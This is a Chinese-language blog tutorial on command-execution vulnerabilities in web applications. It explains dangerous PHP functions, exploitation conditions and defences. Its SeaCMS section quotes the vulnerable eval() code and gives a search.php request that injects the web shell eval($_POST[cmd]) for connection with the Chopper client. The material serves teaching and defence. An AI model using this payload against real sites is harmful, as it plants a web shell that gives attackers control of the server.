天天看點

指令執行漏洞

0x01:指令執行漏洞簡介

使用者通過浏覽器送出執行指令,由于伺服器端沒有針對執行函數做過濾,導緻在沒有指定絕對路徑的情況下就執行指令,可能會允許攻擊者通過改變 $PATH 或程式執行環境的其他方面來執行一個惡意構造的代碼

0x02:指令執行 VS 代碼執行

指令執行漏洞:

直接調用作業系統指令

代碼執行漏洞:

靠執行腳本代碼調用作業系統指令

指令執行原理:

在作業系統中,“&、|、||”都可以作為指令連接配接符使用,使用者通過浏覽器送出執行指令,由于伺服器端沒有針對執行函數做過濾,導緻在沒有指定絕對路徑的情況下就執行指令

代碼執行原理:

應用有時需要調用一些執行系統指令的函數,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,當使用者能控制這些函數中的參數時,就可以将惡意系統指令拼接到正常指令中,進而造成指令執行攻擊,這就是指令執行漏洞。

0x03:漏洞利用條件

  應用調用執行系統指令的函數

  将使用者輸入作為系統指令的參數拼接到了指令行中

  沒有對使用者輸入進行過濾或過濾不嚴

0x04:漏洞分類

1.代碼層過濾不嚴

 商業應用的一些核心代碼封裝在二進制檔案中,在web應用中通過system函來調用:

system("/bin/program --arg$arg");

2.系統的漏洞造成指令注入

bash破殼漏洞(CVE-2014-6271)

3.調用的第三方元件存在代碼執行漏洞

如WordPress中用來處理圖檔的ImageMagick元件

JAVA中的指令執行漏洞(struts2/ElasticsearchGroovy等)

ThinkPHP指令執行

0x05:指令函數的利用

 1. System:system函數可以用來執行一個外部的應用程式并将相應的執行結果輸出,函數原型如下:

 string system(string command, int&return_var)

其中,command是要執行的指令,return_var存放執行指令的執行後的狀态值。

 2. Exec:exec函數可以用來執行一個外部的應用程式

string exec (string command, array&output, int &return_var)

其中,command是要執行的指令,output是獲得執行指令輸出的每一行字元串,return_var存放執行指令後的狀态值。

 3.Passthru:passthru函數可以用來執行一個UNIX系統指令并顯示原始的輸出,當UNIX系統指令的輸出是二進制的資料,并且需要直接傳回值給浏覽器時,需要使用passthru函數來替代system與exec函數。Passthru函數原型如下:

void passthru (string command, int&return_var)

其中,command是要執行的指令,return_var存放執行指令後的狀态值。

 4. Shell_exec:執行shell指令并傳回輸出的字元串,函數原型如下:

string shell_exec (string command)

其中,command是要執行的指令。

0x06:漏洞危害

 繼承Web服務程式的權限去執行系統指令或讀 - 寫檔案

 反彈shell

 控制整個網站甚至控制伺服器

 進一步内網滲透

0x07:海洋cms執行個體

指令執行常用的函數,eval(),system(),proc_open()之類的,是以能執行php代碼一般就是 eval() 函數

搜尋一下這個頁面有eval函數的地方

<code>for</code><code>(</code><code>$m</code><code>=0;</code><code>$m</code><code>&lt;</code><code>$arlen</code><code>;</code><code>$m</code><code>++){</code>

<code>           </code><code>$strIf</code><code>=</code><code>$iar</code><code>[1][</code><code>$m</code><code>];</code>

<code>           </code><code>$strIf</code><code>=</code><code>$this</code><code>-&gt;parseStrIf(</code><code>$strIf</code><code>);</code>

<code>           </code><code>$strThen</code><code>=</code><code>$iar</code><code>[2][</code><code>$m</code><code>];</code>

<code>           </code><code>$strThen</code><code>=</code><code>$this</code><code>-&gt;parseSubIf(</code><code>$strThen</code><code>);</code>

<code>           </code><code>if</code> <code>(</code><code>strpos</code><code>(</code><code>$strThen</code><code>,</code><code>$labelRule2</code><code>)===false){</code>

<code>                </code><code>if</code><code>(</code><code>strpos</code><code>(</code><code>$strThen</code><code>,</code><code>$labelRule3</code><code>)&gt;=0){</code>

<code>                   </code><code>$elsearray</code><code>=</code><code>explode</code><code>(</code><code>$labelRule3</code><code>,</code><code>$strThen</code><code>);</code>

<code>                    </code><code>$strThen1</code><code>=</code><code>$elsearray</code><code>[0];</code>

<code>                    </code><code>$strElse1</code><code>=</code><code>$elsearray</code><code>[1];</code>

<code>                   </code><code>@</code><code>eval</code><code>(</code><code>"if("</code><code>.</code><code>$strIf</code><code>.</code><code>"){\$ifFlag=true;}else{\$ifFlag=false;}"</code><code>);</code>

<code>                    </code><code>if</code> <code>(</code><code>$ifFlag</code><code>){</code><code>$content</code><code>=</code><code>str_replace</code><code>(</code><code>$iar</code><code>[0][</code><code>$m</code><code>],</code><code>$strThen1</code><code>,</code><code>$content</code><code>);} </code><code>else</code><code>{</code><code>$content</code><code>=</code><code>str_replace</code><code>(</code><code>$iar</code><code>[0][</code><code>$m</code><code>],</code><code>$strElse1</code><code>,</code><code>$content</code><code>);}</code>

<code>                </code><code>}</code><code>else</code><code>{</code>

<code>               </code><code>@</code><code>eval</code><code>(</code><code>"if("</code><code>.</code><code>$strIf</code><code>.</code><code>") { \$ifFlag=true;} else{\$ifFlag=false;}"</code><code>);</code>

<code>                </code><code>if</code> <code>(</code><code>$ifFlag</code><code>)</code><code>$content</code><code>=</code><code>str_replace</code><code>(</code><code>$iar</code><code>[0][</code><code>$m</code><code>],</code><code>$strThen</code><code>,</code><code>$content</code><code>); </code><code>else</code><code>$content</code><code>=</code><code>str_replace</code><code>(</code><code>$iar</code><code>[0][</code><code>$m</code><code>],</code><code>""</code><code>,</code><code>$content</code><code>);}</code>

可以在這裡下個斷點,把變量列印出來

就可以清晰的看到就是在這執行了我們的指令

<a href="http://192.168.0.37search.php/?searchtype=5&amp;tid=&amp;area=eval(%24_POST%5Bcmd%5D)" target="_blank">http://192.168.0.37search.php?searchtype=5&amp;tid=&amp;area=eval($_POST[cmd])</a>

<a href="http://s5.51cto.com/wyfs02/M00/8B/C8/wKioL1hY8DGzNCkKAAKc62seKl8237.png" target="_blank"></a>

菜刀連接配接

0x08:指令執行漏洞防禦

 1.盡量不要使用系統執行指令

 2.在進入執行指令函數方法之前,變量一定要做好過濾,對敏感字元進行轉義

 3.在使用動态函數之前,確定使用的函數是指定的函數之一

 4.對PHP語言來說,不能完全控制的危險函數最好不要使用

本文轉自 wt7315 51CTO部落格,原文連結:http://blog.51cto.com/wt7315/1884368